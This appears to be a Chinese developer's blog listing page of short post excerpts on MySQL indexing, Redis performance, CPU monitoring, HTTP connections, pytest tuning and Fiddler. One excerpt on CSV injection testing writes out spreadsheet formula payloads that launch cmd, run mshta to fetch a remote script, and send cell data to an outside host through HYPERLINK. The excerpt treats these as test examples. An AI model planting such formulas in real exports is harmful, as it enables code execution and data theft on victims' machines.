自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(16)
  • 收藏
  • 关注

原创 python2安装mySqldb报错

python2安装mySqldb ,一直报错:换成pymysql就行了, 恩 ,搞了一天 才发现这么简单

2021-06-01 11:48:23 205

原创 安全测试 csv 注入

csv 注入用户下单时,收货人姓名为 =cmd|A1!A1 ,下单后 在订单系统可导出订单到csv , 则=cmd|A1!A1 则在csv 的收货人列中的某单元格中, 是可以触发打开cmd 的,黑客是可以通过cmd 做一些危险操作,比如: =+1+cmd|’/c mshta.exehttp://192.168.233.102:8080/a’!A0=HYPERLINK(“http://vps_ip?test=”&A2&A3,“Error: Please click me!”) 这.

2021-03-09 17:28:38 346

转载 select count(*) 慢怎么优化

原文:http://blog.itpub.net/26736162/viewspace-2733787/select count(*) 慢怎么优化知识点:主键索引 树中包含了整行数据二级索引则只是记录索引数据与主键索引在 InnoDB 存储引擎中, count(*) 函数是先从内存中读取数据到 内存缓冲区,然后进行扫描获得行记录数。这里 InnoDB 会 优先走二级索引;如果同时存在多个二级索引,会选择 key_len 最小的二级索引;如果不存在二级索引,那么会走 主键索引;如果连主键都

2021-02-08 12:01:02 1364

原创 reids性能

官方曾给出指标1C 1G配置的服务器,qps 大概可到8W ,也就是Redis 本身性能还是很高, 但是有一些注意点:redis 影响性能的点:内存大小时间复杂度 (keys 命令会产生全局锁,对性能影响很大)key值长度数据量大小https://www.cnblogs.com/276815076/p/7245333.html...

2020-12-16 18:34:45 80

原创 cpu 性能分析

mpstat -P ALL 5 12监控所有cpu 的性能情况 ,5s 一次,输出12次pidstat -u 5 12查看各个进程的cpu使用情况 ,5s 一次,输出12次pidstat -d 晒看进程的IO 情况CPU 密集型进程,使用大量 CPU 会导致平均负载升高,此时这两者是一致的;I/O 密集型进程,等待 I/O 也会导致平均负载升高,但 CPU 使用率不一定很高;大量等待 CPU 的进程调度也会导致平均负载升高,此时的 CPU 使用率也会比较高。第二种和第三种 的io.

2020-12-09 16:19:01 274

原创 mysql回表

当mysql查询时,使用非聚簇索引(也叫二级索引,辅助索引) 查到相应的叶子节点获取主键值,然后通过 主键索引(聚簇索引) 再查到相应的数据行信息,找到主键后通过聚簇索引 找到相应数据行的过程叫做回表。如上图表A ,主键:id,辅助索引:serial_no查询: select * from A where id=7, 这里直接通过 聚簇索引查询,可以直接获取到id为的数据行.查询 select * from A where serial_no=000124 , 即使用辅助索引进行查询,则会先

2020-11-25 16:06:36 8971

原创 数据库索引优化

商城活动时,遇到会员服务一个接口 响应很慢,导致整个服务的响应时间延长,具体原因和优化:sql 语句查询条件使用了一个where 条件 entity_type_id=1, entity_type_id又是索引,且表中有40多W行数据, 就导致数据查询很慢,8-9个此查询并发时 就阻塞了数据库,同时有其它数据库操作,整个数据cpu使用率达到95%。优化: 查询去掉了entity_type_id=1 条件, 查存速度从1.4s 变到了0.02s (表中数据entity_type_id都为1)...

2020-11-03 09:18:13 249

原创 http的长连接和短连接

结论:http 没有长短连接之说, 所谓的长连接其实是TCP 连接 。eg: 1.商 城请求一次接口, 接口返回数据, 一次请求完成。 这个请求出来 得到回应就是一次http连接。2. 而所谓的长连接 是tcp 层连接, http 连接是应用层连接, tcp 是传输层连接, 当一次http请求完成后,http请求结束(说成断开可能会容易 理解这里),tcp 连接继续存在, 当商城又发出其它http 请求时,继续使用之前的tcp连接,不再重新创建tcp连接。要点:http1.1 默认是使用Tcp

2020-10-15 15:49:16 80

转载 mysql 连接池, 长连接,短链接

短连接:短连接就是我们开发的应用程序需要访问数据库时候,需要建立数据连接,执行SQL操作,关闭连接,用JAVA中的伪代码来描述一下这个过程:conn = session.onpenConnection();conn.execute(‘SQL命令’);session.close();简单讲就是每一次操作数据库,都要执行一次上述操作。弊端就是:如果网络速度不是很理想的情况下,短连接的会消耗大量的系统资源,在生产环境中,业务很多的话,可能1秒内几千个连接,如果都是短连接,且sql处理慢的话,连接关闭不

2020-10-15 15:29:14 909

原创 Httprunner manage 安装遇到的问题

问题1: 执行python manage.py migrate用来生成数据库表结构 时报错 解决方法:执行 python manage.py migrate ApiManager --fake再执行: python manage.py migrate问题2:执行:python manage.py migrate 报错django.db.utils.OperationalError: (1071, ‘Specified key was too long; max key length is 7

2020-09-23 10:13:42 168

原创 pytest 执行用例 耗时问题,怎么优化?

如图, 我们的看好口自动化实现是用一个接口一个函数, 该接口相关用例执行都在这一个方法中。pytest 使用装饰器函数 , 传参的get_datas()是获取所有的用例数据(可能有10条),装饰函数在执行每一条用例时,都会调用一次test_add_函数, 这样就是10条用例,执行10次,结果如下:这样的方法 用例执行时间很长,差不多要翻倍。暂时不能考虑使用多线程执行,因为用例数据相互有影响,要如何优化?...

2020-09-10 19:54:57 1526 2

原创 自动化缩短执行时间

项目的接口自动化用例有2000条, 导致执行时间要30分钟,时间太长了, 考虑优化缩短时间。优化点:用例存储在Excel中,每执行一条 读取一条改为: 一次性读取完,然后逐条执行 (后面再考虑用数据库存放用例数据)暂时缩短8分钟左右多线程执行用robotframework 框架,执行测试是单线程考虑切换pytest 使用pytest-xdist 多线程执行,但前提是用例数据支持多线程执行 。提升效率未知...

2020-09-09 13:57:50 941

原创 fiddler不能抓到安卓微信小程序的请求

百度了好久 得出结论:安卓系统 7.0 以下版本,不管微信任意版本,都会信任系统提供的证书安卓系统 7.0 以上版本,微信 7.0 以下版本,微信会信任系统提供的证书安卓系统 7.0 以上版本,微信 7.0 以上版本,微信只信任它自己配置的证书列表苹果机可以用原因:在Android7.0及以上的系统中,每个应用可以定义自己的可信CA集集。默认情况下,应用只会信任系统预装的CA证书,而不会信任用户安装的CA证书。参考:https://testerhome.com/articles/17746

2020-09-08 15:11:14 1390

原创 pytest assume 替代

最近在尝试使用pytest 做接口自动化测试,遇到一个问题, pytest 自带的断言 只要失败就不会再继续执行当前的测试用例了, 因为我们一个接口只有一个test 函数, 用例是维护在excel里, 执行时 逐行读取判断的, 这样就会有一个问题, 比如测试 一个加入购物车接口, 函数test_add , 该函数通过读取excel 里所有用例,可能有10条,如果第一条失败,后面9条就不再继续执行,这样不满足我们的需求,所以要尝试解决:找到一个pytest_assume 模块,使用pytest.ass

2020-09-02 19:20:56 645

原创 literal_eval函数

数据库反馈的数据tuple 数据带了引号变成了字符串,s=' ({"key1":"value 1" }, \r\n {"key2":"value e2"} )'print (literal_eval(s.strip()))print (type(literal_eval(s.strip())))输出结果:字符串变成了tuple类型

2020-08-25 16:52:21 992

原创 关于pycharm import 报错的处理

关于pycharm import 报错的处理项目目 录与报错信息:如图, 在interface 文件夹下 test_add 文件里,导入mycommon 模块文件时,编辑器中是报错的,但是可以运行成功。查找资料看到import时,python 会搜索要导入的模块,搜索的路径为: 1.程序主目录,2.PATHONPATH目录(如果已经进行了设置) 3.标准链接库目录 4. 任何.pth文件的目录(如果存在的话)这四个组建组合出来了sys.path。于是查看输出的sys.print 路径中是包含i

2020-07-31 17:47:14 1182

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除